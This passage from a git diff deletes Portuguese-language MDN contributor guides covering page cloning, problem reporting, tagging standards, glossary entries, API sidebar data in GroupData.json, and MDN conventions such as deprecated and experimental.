  11. Write content of the page in the editor pane, saving your changes. Refer to Editing an existing page, for further information on using editor mode.
  12. -
- -

Clone of an existing page

- -

If there is an existing page, whose format you wish to use as a base for your new page, you can 'clone' that page, and then change its content.

- -
    -
  1. On the original page, click the Advanced menu (the gear icon in the toolbar), and click Clone this page. An editor view opens, for creating a new document.
  2. -
  3. Change the Title of the page, as appropriate for the new content. The Slug field is updated automatically as you change the Title field.
  4. -
  5. Change the path portion of the Slug field, as needed, to put the new document in a different location in the document hierarchy. In most cases, this is not needed. A cloned page often has similar content to its original, and need to be in a similar location.
  6. -
  7. In the TOC field, select the heading levels you want to be automatically displayed in the table of contents for this page. Or select 'No table of contents', if one is not needed.
  8. -
  9. Write your content in the editor pane, saving your changes. Refer to Editing an existing page, for more information on using editor mode.
  10. -
- - - -

This is a bit of a hybrid. You can create a link on another page, then click the link you just inserted, to create the new page:

- -
    -
  1. Enter the name of your new page, anywhere that makes sense in the text of an existing page.
  2. -
  3. Highlight this new name, and click the Link icon () in the editor's toolbar. The 'Update Link' dialog opens, with the highlighted text in the 'Link To' field.
  4. -
  5. "/en-US/docs/" is inserted by default, to the beginning of the URL field. Enter the name of the page after "/en-US/docs/". The page name does not have to be the same as the link text.
  6. -
  7. Click OK, to create and insert the link.
  8. -
- -

If the page does not yet exist, the link is displayed in red. If the page does exist, the link is displayed blue. If you want to create a new page, but the page title you desire is already taken, check if it makes sense helping edit and improve the page already there. Otherwise, think of a unique title for your new page, and create a link for it. Refer to page naming guide for guidelines.

- -

To add content to your new page, click on the red link you just created, after saving and closing the editor. The new page opens in editor mode, enabling you to start writing. Refer to Editing an existing page, for further information on using editor mode.

- -

Refreshing page content

- -

MDN support of KumaScript macros, and integration of content from other pages can sometimes be hampered by the need for caching of pages, for performance reasons. Pages are built from their source, and this output is cached for future requests. From that moment on, any macros (templates), or integrations (using the macroPage), will not reflect later changes made to the macro, its output, or the contents of the integrated material.

- -
    -
  • To manually update a page, force-refresh your Web browser. MDN detects this, triggering a page rebuild, pulling in updated macro output, and integrating page content.
  • -
  • You can also configure pages to periodically rebuild, automatically. This should not be done unless you expect the page to update frequently. See Page regeneration, for detailed information.
  • -
- -

See also

- - diff --git a/files/pt-pt/mdn/contribute/howto/index.html b/files/pt-pt/mdn/contribute/howto/index.html deleted file mode 100644 index 08ce3855be..0000000000 --- a/files/pt-pt/mdn/contribute/howto/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Guias de Como... -slug: MDN/Contribute/Howto -tags: - - Landing - - Metadados MDN -translation_of: MDN/Contribute/Howto ---- -
{{MDNSidebar}}
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Estes artigos proporcionam guias passo-a-passo para a realização de objetivos específicos quando contribui para a MDN.

- -

{{LandingPageListSubpages}}

diff --git a/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html b/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html deleted file mode 100644 index 8145a208c9..0000000000 --- a/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Como comunicar um problema na MDN -slug: MDN/Contribute/Howto/Report_a_problem -tags: - - Como... - - Guía - - Metadados MDN -translation_of: MDN/Contribute/Howto/Report_a_problem -original_slug: MDN/Contribute/Howto/Comunicar_um_problema ---- -
{{MDNSidebar}}
- -

De vez em quando, pode encontrar problemas ao utilizar a MDN. Se é um problema com a infra-estrutura do site ou um erro no conteúdo da documentação, pode tentar corrigi-lo ou comunicar o problema. Enquanto o primeiro é o preferido, o último é às vezes o melhor que pode gerir, e isso também está bem.

- -

Erros de documentação ou pedidos

- -

Obviously, since MDN is a wiki, the best thing you can possibly do is fix problems you spot yourself. But maybe you don't know the answer or are in the middle of a deadline on your own project or something, and need to jot down the problem so someone can look at it later.

- -

As is the case with all things Mozilla, you report a documentation problem by filing a bug. That's when filing a documentation request bug comes in. The documentation request form gathers the information needed to get us started on fixing the issue.

- -

Of course, our writing community is busy, so sometimes the quickest way to see a documentation problem resolved is to fix it yourself. See How to create and edit pages for details.

- -

Erros (bugs) do site ou pedidos de funcionalidades

- -

Kuma, the Mozilla-developed platform used for the MDN web site, is in a state of continuous development. Our developers—as well as a number of volunteer contributors—are constantly making improvements. If you see a bug, or have a problem with the site, or even have a suggestion for something that could make the software more awesome, you can use the Kuma bug form to file a report. You can also use this form to report performance problems with the site, though odds are that performance-monitoring tools have already notified the appropriate people.

diff --git a/files/pt-pt/mdn/contribute/howto/tag/index.html b/files/pt-pt/mdn/contribute/howto/tag/index.html deleted file mode 100644 index fe8f43b2c0..0000000000 --- a/files/pt-pt/mdn/contribute/howto/tag/index.html +++ /dev/null @@ -1,376 +0,0 @@ ---- -title: Como etiquetar devidamente as páginas -slug: MDN/Contribute/Howto/Tag -tags: - - Como - - Glossário - - Guía - - Introdução - - Metadados da MDN - - Principiante - - Tutorial - - contribuir -translation_of: MDN/Contribute/Howto/Tag -original_slug: MDN/Contribute/Howto/Etiqueta ---- -
{{MDNSidebar}}
- -

As tags de artigo são uma maneira importante de colocar os visitantes em contacto com conteúdo útil. Cada página normalmente deverá ter várias tags para ajudar a manter o conteúdo organizado. Esta página explica a melhor maneira para etiquetar as páginas, e assim os nossos leitores podem encontrar a informação e nós podemos manter-nos organizados.

- -

Para obter ajuda com a interface do utilizador para editar tags, consulte a secção de etiquetagem no nosso guia do editor.

- -

Por favor, utilize as tags devidamente como explicado em baixo. Se não o fizer, as nossas ferramentas automatizadas não irão gerar corretamente as listas de conteúdo, as páginas de destino, e ligação dos artigos.

- -

Como é que a MDN utiliza as tags (etiquetas) 

- -

As tags são utilizadas de vários modos na MDN:

- -
-
Categorização do  documento
-
What type of document is it? Is it a reference? A tutorial? A landing page? Our visitors can use these tags to filter searches, so they're really important!
-
Identificação do tópico
-
What is the article about? Is it about an API? The DOM? Graphics? Again, these tags are important because they can filter searches.
-
Estado da tecnologia
-
What's the status of the technology? Is it non-standard? Obsolete or deprecated? Experimental?
-
Nível de proficiência
-
For tutorials and guides, how advanced is the material covered by the article?
-
Metadados do documento
-
The writing community uses tags to keep track of which pages need what kind of work.
-
- -

Guia do tipo de tag

- -

Here's a quick guide to the types of tags and possible values for them.

- -

Categoria do documento

- -

When you tag an article with one of these categories, you help the automated tools more accurately generate landing pages, tables of contents, and so on. Our new search system will also use these terms so that our visitors can locate reference or guide information at will.

- -

We use the following category names as standard tagging terms:

- -
-
{{Tag("Intro")}}
-
The article provides introductory material about a topic. Ideally each technology area should have only one "Intro".
-
{{Tag("Featured")}}
-
The article is critical and will display prominently on landing pages. Use this tag sparingly (never more than three documents in each documentation area).
-
{{Tag("Reference")}}
-
The article contains reference material about an API, element, attribute, property, or the like.
-
{{Tag("Landing")}}
-
The page is a landing page.
-
{{Tag("Guide")}}
-
The article is a how-to or guide page.
-
{{Tag("Example")}}
-
The article is a code sample page, or has code samples (that is, actual snippets of useful code, not one-line "syntax examples").
-
- -

Tópico

- -

By identifying the article's topic area, you are helping generate better search results (and landing pages and navigation as well).

- -

While there's some room for flexibility here as we identify new topic areas, we try to limit ourselves to the names of APIs or technologies. Some useful examples:

- -
    -
  • {{Tag("HTML")}}
  • -
  • {{Tag("CSS")}}
  • -
  • {{Tag("JavaScript")}} (notice the capital "S"!)
  • -
  • {{Tag("Document")}}
  • -
  • {{Tag("DOM")}}
  • -
  • {{Tag("API")}} for each interface, method and property.
  • -
  • {{Tag("Method")}} for each method of an API
  • -
  • {{Tag("Property")}} for each property of an API
  • -
  • {{Tag("Graphics")}}
  • -
  • {{Tag("SVG")}}
  • -
  • {{Tag("WebGL")}}
  • -
  • {{Tag("Tools")}}
  • -
  • {{Tag("Web")}}
  • -
  • {{Tag("Element")}}
  • -
  • {{Tag("Extensions")}} and {{Tag("WebExtensions")}} for WebExtension documentation.
  • -
- -

In general, your topic identification tag should be the name of an interface with a number of related pages (like Node, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with Graphics and WebGL, for example, but a page about {{HTMLElement("canvas")}} with HTML, Element, Canvas, and Graphics.

- -

Conteúdo específico da Mozilla

- -

Estas tags são utilizadas apenas no conteúdo especifico da Mozilla:

- -
    -
  • {{Tag("Mozilla")}}
  • -
  • {{Tag("Firefox")}}
  • -
  • {{Tag("Firefox OS")}}
  • -
  • {{Tag("Gecko")}}
  • -
  • {{Tag("XUL")}}
  • -
  • {{Tag("XPCOM")}}
  • -
- -

Identificação de API

- -

Within the API reference, each article should identify which part of the API it covers:

- -
-
{{tag("Interface")}}
-
The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.
-
{{tag("Constructor")}}
-
Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.
-
{{tag("Property")}}
-
Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.
-
{{tag("Method")}}
-
Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.
-
- -

In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:

- -
-
The interface {{domxref("RTCPeerConnection")}}
-
Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).
-
The method {{domxref("RTCPeerConnection.createOffer()")}}
-
Include the tags "RTCPeerConnection" and "createOffer" (note no parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.
-
The property {{domxref("RTCPeerConnection.iceConnectionState")}}
-
Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".
-
- -

Estado da tecnologia

- -

To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.

- -

Here are possible values for these tags:

- -
-
{{Tag("Read-only")}}
-
Apply this tag to reference pages which describe a property or attribute which is read-only.
-
{{Tag("Non-standard")}}
-
Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.
-
{{Tag("Deprecated")}}
-
The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.
-
{{Tag("Obsolete")}}
-
The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.
-
{{Tag("Experimental")}}
-
The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.
-
{{Tag("Needs Privileges")}}
-
The API requires privileged access to the device on which the code is running.
-
{{Tag("Certified Only")}}
-
The API only works in certified code.
-
- -

These tags are no excuse to leave out the compatibility table in your article! That should always be present.

- -

Nível de competência técnica

- -

Use the skill-level tag type only for guides and tutorials (that is, pages tagged Guide) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:

- -
-
{{Tag("Beginner")}}
-
Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.
-
{{Tag("Intermediate")}}
-
Articles for users who have gotten started with the technology but aren't experts.
-
{{Tag("Advanced")}}
-
Articles about stretching the capabilities of a technology and of the reader.
-
- -

Metadados de documento

- -

The writing community uses tags to label articles as requiring specific types of work. Here's a list of the ones we use most:

- -
-
{{Tag("Draft")}}
-
The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.
-
{{Tag("NeedsCompatTable")}}
-
The article needs a table to specify compatibility of a feature across browsers. See here for a guide on contributing to browser compatibility.
-
{{Tag("NeedsContent")}}
-
The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.
-
{{Tag("NeedsExample")}}
-
The article needs one or more examples created to help illustrate the article's point. These examples should use the live sample system.
-
{{Tag("NeedsLiveSamples")}}
-
The article has one or more examples that need to be updated to use the live sample system.
-
{{Tag("NeedsSpecTable")}}
-
The article needs a table to indicate on which specification document(s) the feature was defined.
-
{{Tag("NeedsUpdate")}}
-
The content is out of date and needs to be updated.
-
{{Tag("l10n:exclude")}}
-
The content is not really worth localizing and will not appear on localization status pages.
-
{{Tag("l10n:priority")}}
-
The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.
-
- -

Unindo tudo

- -

Portanto, para cada página que atribui tags de vários tipos de tag, por exemplo:

- -
-
A tutorial about WebGL for beginners
-
WebGL, Graphics, Guide, Beginner
-
Reference page for {{HTMLElement("canvas")}}
-
Canvas, HTML, Element, Graphics, Reference
-
A landing page for Firefox OS developer tools
-
Tools, Firefox OS, Landing
-
- -

Filtros de tag e pesquisa

- -

Search filters won't work properly unless we tag MDN pages properly. Here's a table of search filters and which tags they look for.

- -
-

Nota: If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Grupo de filtroNome do filtro de pesquisaNome da tag
TópicoAPIs and DOM{{Tag("API")}} || {{Tag("DOM")}} {{Deprecated_Inline}}
Add-ons & Extensions {{Deprecated_Inline}}{{Tag("Add-ons")}} || {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}} || {{Tag("WebExtensions")}}
CSS{{Tag("CSS")}}
Canvas{{Tag("Canvas")}}
Firefox{{Tag("Firefox")}}
Firefox OS{{Tag("Firefox OS")}}
Games{{Tag("Games")}}
HTML{{Tag("HTML")}}
HTTP{{Tag("HTTP")}}
JavaScript{{Tag("JavaScript")}}
Marketplace {{Non-standard_Inline}}{{Tag("Marketplace")}}
MathML{{Tag("MathML")}}
Mobile{{Tag("Mobile")}}
Open Web Apps {{Non-standard_Inline}}{{Tag("Apps")}}
SVG{{Tag("SVG")}}
Web Development{{Tag("Web Development")}}
Web Standards{{Tag("Web")}}
WebExtensions{{Tag("WebExtensions")}}
WebGL{{Tag("WebGL")}}
Writing Documentation{{Tag("MDN Meta")}}
XPCOM {{Non-standard_Inline}}{{Tag("XPCOM")}}
XUL {{Non-standard_Inline}}{{Tag("XUL")}}
{{anch("Skill level")}}I'm an Expert{{Tag("Advanced")}}
Intermediate{{Tag("Intermediate")}}
I'm Learning{{Tag("Beginner")}}
Tipo de documentoDocsThis restricts the search to docs content, leaving out Hacks and other MDN content.
DemosThis includes Demo Studio content in the search results.
Tools{{Tag("Tools")}}
Code Samples{{Tag("Example")}}
How-To & Tutorial{{Tag("Guide")}}
Developer ProfilesThis includes developer profiles from the MDN site in the search results.
External ResourcesThe dev team is still figuring this out...
- -

Problemas de etiquetagem que pode corrigir

- -

There are several kinds of tag problems you can help fix:

- -
-
No tags
-
Generally articles should have at least a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!
-
Tags that don't follow our tagging standards
-
Please fix any documents whose tags don't follow the standards on this page.
- Note that you may occasionally see some localized tags (such as Référence) showing up on some English pages. This was due to a bug in Kuma, which caused the tags to reappear even if they were deleted. That bug has since been fixed, so any remaining localized tags can be cleaned up if they're spotted.
-
Incorrect tags
-
If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).
-
Missing tags
-
If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!
-
Tag spam
-
This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.
-
- -

If you see one (or more) of these problems, please log into MDN and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "The tags box" in the MDN editor guide.

diff --git a/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html deleted file mode 100644 index 4284498481..0000000000 --- a/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Como escrever e referenciar uma entrada no glossário -slug: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary -tags: - - Como... - - Glossário - - Guia(2) - - Metadados da MDN -translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary -original_slug: MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario ---- -
{{MDNSidebar}}
- -

O glossário da MDN é o local onde nós definimos toda a terminologia, gíria, e abreviações utilizadas na documentação e programação. Contribuir para o glossário é uma maneira simples de tornar a Web mais fácil para todos entenderem. Você não precisa de um alto nível de habilidade técnica para escrever entradas de glossário porque elas devem permanecer simples e diretas.

- -

Como escrever uma entrada

- -

Se você está procurando por tópicos que precisam de uma entrada de glossário, verifique a lista de termos não documentados no final da página de destino do Glossário; clique em qualquer um desses links para iniciar uma nova página do Glossário para o item que você clicou; então siga os passos abaixo.

- -

Se você tem uma ideia para um nova entrada de glossário, basta abrir o botão em uma nova aba, e então siga os passos abaixo do botão.

- -

- -

 

- -

Passo 1: Escreva um resumo

- -

The first paragraph of any glossary page is a simple and short description of the term (preferably no more than two sentences). Make sure anyone reading the description can understand the defined term immediately.

- -
-

Nota: Please don't copy-and-paste definitions from elsewhere (especially not Wikipedia, since its range of license versions is smaller, and thus incompatible with that of MDN). It's really important to make sure this content is simple and easy to understand. It's worth spending some time on it rather than stealing content blindly. This glossary should be useful new content, not repeating things from elsewhere.

-
- -

Links to the glossary entry will use these summaries inside their tooltips, so that readers can see the definitions without navigating away from the page they're on. (See below how to insert links to glossary entries with the \{{Glossary}} macro.)

- -

If you must, you can add a few extra paragraphs, but it's very easy to find yourself writing a whole article. Writing a whole article is fine, but please don't put it in the glossary. If you aren't sure where to put your article, feel free to reach out to discuss it.

- -

Passo 2: Expanda com hiperligações

- -

Finally, a glossary entry should always end with a "Learn more" section. This section should contain links to help the reader move forward: discovering more details, learning to use the relevant technology, and so on.

- -

We recommend that you sort the links into at least these three groups:

- -
-
Conhecimento geral
-
Links that provide more general information; for example, a link to Wikipedia is a good starting point.
-
Referência técnica
-
Links to more in-depth technical information, on MDN or elsewhere.
-
Saber sobre a mesma
-
Hiperligações para tutoriais, exercícios, quaisquer outros materiais que ajudem o leitor a saber como utilizar a tecnologia por de trás do termo definido.
-
- -

Termos sugeridos

- -

So you want to contribute but you don't know which terms need to be defined? Here's a list of suggestions. Click one and get started!

- -

Lidar com a desambiguação

- -

Sometimes, a term has several meanings depending on the context. To resolve the ambiguities, you must follow those guidelines:

- -
    -
  • The term's main page must be a disambiguation page containing the {{TemplateLink("GlossaryDisambiguation")}} macro.
  • -
  • The term has subpages that define the term for a given context.
  • -
- -

Let's illustrate that with an example. The term signature can have different meanings in at least three different contexts: security, function and email.

- -
    -
  1. A página de Glossário/Assinatura é a página de desambiguação como a  {{TemplateLink("GlossaryDisambiguation")}} macro.
  2. -
  3. The page Glossary/Signature/Security is the page defining a signature in a security context.
  4. -
  5. The page Glossary/Signature/Function is the page defining a function signature.
  6. -
  7. The page Glossary/Signature/Email is the page defining email signature.
  8. -
- -

Como utilizar a macro \{{Glossary}}

- -

The glossary is much more useful when people can access the definitions from another document without navigating away from what they're reading. Therefore we urge you to link to the glossary whenever you can, using the {{TemplateLink("Glossary")}} macro:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MacroResultadoNota
\{{Glossary("browser")}}{{Glossary("browser")}}When a text matches the term to be defined, just use the macro as is (it's case insensitive)
\{{Glossary("browser", "Web browser")}}{{Glossary("browser","Web browser")}}To display an alternative text, use the second argument to specify that text
\{{Glossary("browser", "Web browser", 1)}}{{Glossary("browser","Web browser",1)}}Specify 1 as an optional third argument to display the link as a regular link rather than a subtle hint
- -

Links created with the \{{Glossary}} macro always display a tooltip containing the glossary entry's summary paragraph.

- -

Utilização das linhas diretrizes

- -

In many cases, it's perfectly safe to use that macro everywhere on MDN. However, there are a few cases you should handle with care:

- -
    -
  • If a term is already linked to another part of MDN, leave it that way and do not use the \{{Glossary}} macro.
  • -
  • Within an article section, use the \{{Glossary}} macro only once for the same term (hint: a section always starts with a title).
  • -
diff --git a/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html b/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html deleted file mode 100644 index 63a34dd7fe..0000000000 --- a/files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Barras laterais de referência da API -slug: MDN/Contribute/Howto/Write_an_API_reference/Sidebars -tags: - - API - - Guía - - Referencia - - barras laterais - - groupdata - - onboarding -translation_of: MDN/Structures/API_references/API_reference_sidebars -original_slug: MDN/Structures/API_references/Barras_laterais_de_referencia_da_API ---- -
{{MDNSidebar}}

Pode incluir uma barra lateral personalizada nas páginas de referência da API para exibir as hiperligações para as 'Interfaces' relacionadas, tutoriais, e outros recursos relevantes, apenas para essa API. Este artigo explica como.

- -

O que precisa de fazer?

- -

You need to take the following three steps to create your API sidebar:

- -
    -
  1. Create your API reference pages.
  2. -
  3. Add an entry for your particular API into the KumaScript repo's GroupData.json data file.
  4. -
  5. Use the \{{APIRef}} macro to insert the sidebar into each page you want to display it on.
  6. -
- -

Let's run through each of these steps in turn. The example we'll refer to in this article is the Fetch API.

- -

Criar páginas de referência da sua API

- -

Before you can add sidebars to your pages, you'll need to create the pages themselves (see our What does an API reference need? guide for more guidance).

- -

Adicionar uma entrada para GroupData.json

- -

The GroupData.json file holds all the data relating to what links should appear in API reference sidebars. When invoked, the \{{APIRef}} macro takes an API name given to it as a parameter, looks up that name in GroupData.json, builds a sidebar as appropriate, and inserts it in the page.

- -

To add an entry to GroupData.json, you need to:

- -
    -
  1. Make sure you have a GitHub account.
  2. -
  3. Fork the KumaScript repo, create a new branch to contain your changes, and clone the repo locally.
  4. -
  5. Checkout your new branch before starting work, and make sure you push changes to it after finishing.
  6. -
  7. Create a pull request so that the MDN team can review your work, and ask for changes if necessary.
  8. -
- -

If you need help with using GitHub, a more detailed guide can be found at our compatibility tables guide.

- -

The GroupData.json file can be found inside the macros directory of the KumaScript repo. Looking at it, you'll see a giant JSON structure, with each API having its own member. The name is the API name, and the value is an object containing several submembers defining the sidebar links to be created.

- -

For example, look at the Fetch API page on MDN. The corresponding entry in GroupData.json looks like this:

- -
"Fetch API": {
-    "overview":   [ "Fetch API"],
-    "interfaces": [ "Body",
-                    "Headers",
-                    "Request",
-                    "Response",
-                    "FetchController",
-                    "FetchObserver",
-                    "FetchSignal",
-                    "ObserverCallback" ],
-    "methods":    [ "WindowOrWorkerGlobalScope.fetch()" ],
-    "properties": [],
-    "events":     []
-},
- -

As you can see, we've used "Fetch API" for the name, and inside the object value we include a number of submembers.

- -

Submembers to include inside a GroupData entry

- -

This section lists all the submembers you could include in a GroupData entry.

- -

Note that Most of the values included inside the listed submembers equate to both the link text, and slugs appended to the end of the main API index page —  https://developer.mozilla.org/<language-code>/docs/Web/API — to create the final URL for the displayed link. So for example, "Body" will result in a link being created like so in the en-US locale:

- -
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Body</a></li>
- -

There are a few exceptions. For example the "guides" submember contains one or more sets of link information (title and slug) that defines links to associated guides/tutorials. In this case the slugs are appended to the end of the MDN docs root — https://developer.mozilla.org/<language-code>/docs — allowing an article anywhere on MDN to be included.

- -

Here are the available members. In each case, an example is included that assumes that the local is en-US.

- -
    -
  1. -

    "overview" — the value is an array, inside of which you include the slug of the API overview page, if there is one. "Fetch API" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API.

    -
  2. -
  3. -

    "interfaces" — the value is an array in which you should list all of the interfaces that form part of that API. "Body" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Body.

    -
  4. -
  5. -

    "methods" — the value is an array that should contain all of the methods associated with the API. This can include methods that are members of interfaces defined in the API spec, and methods the API defines on other interfaces. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

    -
  6. -
  7. -

    "properties" — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Headers/append.

    -
  8. -
  9. -

    "events" — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/Events/animationstart.

    -
  10. -
  11. -

    "guides" — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:

    - -
    { "url":   "/docs/Web/API/Detecting_device_orientation",
    -"title": "Detecting device orientation" }
    - -

    Creates a link with the title "Detecting device orientation", which points to https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation.

    -
  12. -
- -

Inserir a barra lateral nas suas páginas

- -

Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the WebVR API's sidebar is included in its pages with the following:

- -

\{{APIRef("WebVR API")}}

diff --git a/files/pt-pt/mdn/contribute/index.html b/files/pt-pt/mdn/contribute/index.html deleted file mode 100644 index 151975c88c..0000000000 --- a/files/pt-pt/mdn/contribute/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Contribuir para a MDN -slug: MDN/Contribute -tags: - - Guía - - Landing - - Metadados MDN -translation_of: MDN/Contribute ---- -
{{MDNSidebar}}
- -
 
- -
-
{{IncludeSubnav("/pt-PT/docs/MDN")}}
-
- -

Bem-vindo! Ao visitar esta página, efetuou o primeiro passo para se tornar em um colaborador na MDN.

- -

Estes guias listados aqui abrangem todos os aspetos da contribuição na MDN, incluindo os guias de estilo, guias para a utilização do nosso editor e ferramentas, e muito mais. Por favor, certifique-se que lê (e que concorda com) os Termos da Mozilla (EN) antes de editar ou criar quaisquer páginas.

- -

Se ainda não contribuiu na MDN, o guia de Iniciação na MDN pode ajudá-lo a escolher uma tarefa para inciar e ajudar.

- -

{{LandingPageListSubPages()}}

diff --git a/files/pt-pt/mdn/guidelines/conventions_definitions/index.html b/files/pt-pt/mdn/guidelines/conventions_definitions/index.html deleted file mode 100644 index 67f3fbb27e..0000000000 --- a/files/pt-pt/mdn/guidelines/conventions_definitions/index.html +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: MDN - Convenções e Definições -slug: MDN/Guidelines/Conventions_definitions -tags: - - Documentação - - Guía - - Linhas Diretrizes - - MDN - - Metadados MDN -translation_of: MDN/Guidelines/Conventions_definitions -original_slug: MDN/Guidelines/Convencoes_definicoes ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

Este artigo define algumas convenções e definições que são normalmente utilizadas na MDN, que talvez não sejam óbvias para algumas pessoas quando elas as encontrarem na documentação.

- -

Definições

- -

Desaprovada e obsoleta

- -

Desaprovada e obsoleta são termos comuns associados com as tecnologias e especificações, mas o que eles significam?

- -
-
Desaprovada
-
Na MDN, o termo 'desaprovada' utilizado para marcar uma API ou tecnologia que já não é recomendada, mas que ainda está implementada e poderá funcionar. Mais recentemente, nós atualizamos-la para a definição utilizada no projeto de dados compatíveis do navegador, que é que "a funcionalidade já não é mais recomendada. Esta poderá ser removida no futuro ou pode ser mantida apenas para fins de compatibilidade. Evite utilizar esta funcionalidade".
-
Obsoleta
-
No MDN, o termo 'obsoleta'utilizado para marcar uma API ou tecnologia que já não é mais recomendada, mas também não é mais implementada nos navegadores. Isto foi no entanto confuso - é semelhante a obsoleta, e a distinção não é muito útil (ainda não o deveria utilizar num site de produção). Portanto, nós não estamos mais a utilizá-lo, e quaisquer instâncias encontradas deveriam ser removidas/substituídas por 'obsoleta'.
-
- -

Experimental

- -

Experimental can mean different things depending on the context you hear or read it in. When a technology is described as experimental on MDN, it means that the technology is nascent and immature, and currently in the process of being added to the Web platform (or considered for addition).

- -

One or both of these will be true:

- -
    -
  • It is implemented and enabled by default in less than two modern major browsers.
  • -
  • Its defining spec is not stable and likely to change significantly. Its syntax and behavior is therefore subject to change in future versions of browsers as the specification changes.
  • -
- -

If one or both of these definitions is true, then you should think carefully before you start using that technology in any kind of production project (i.e. not just a demo or experiment). See also the definition of experimental in our browser-compat-data project.

- - - -

Conversely, an item is no longer experimental when:

- -
    -
  • It is implemented in two or more major browsers; or
  • -
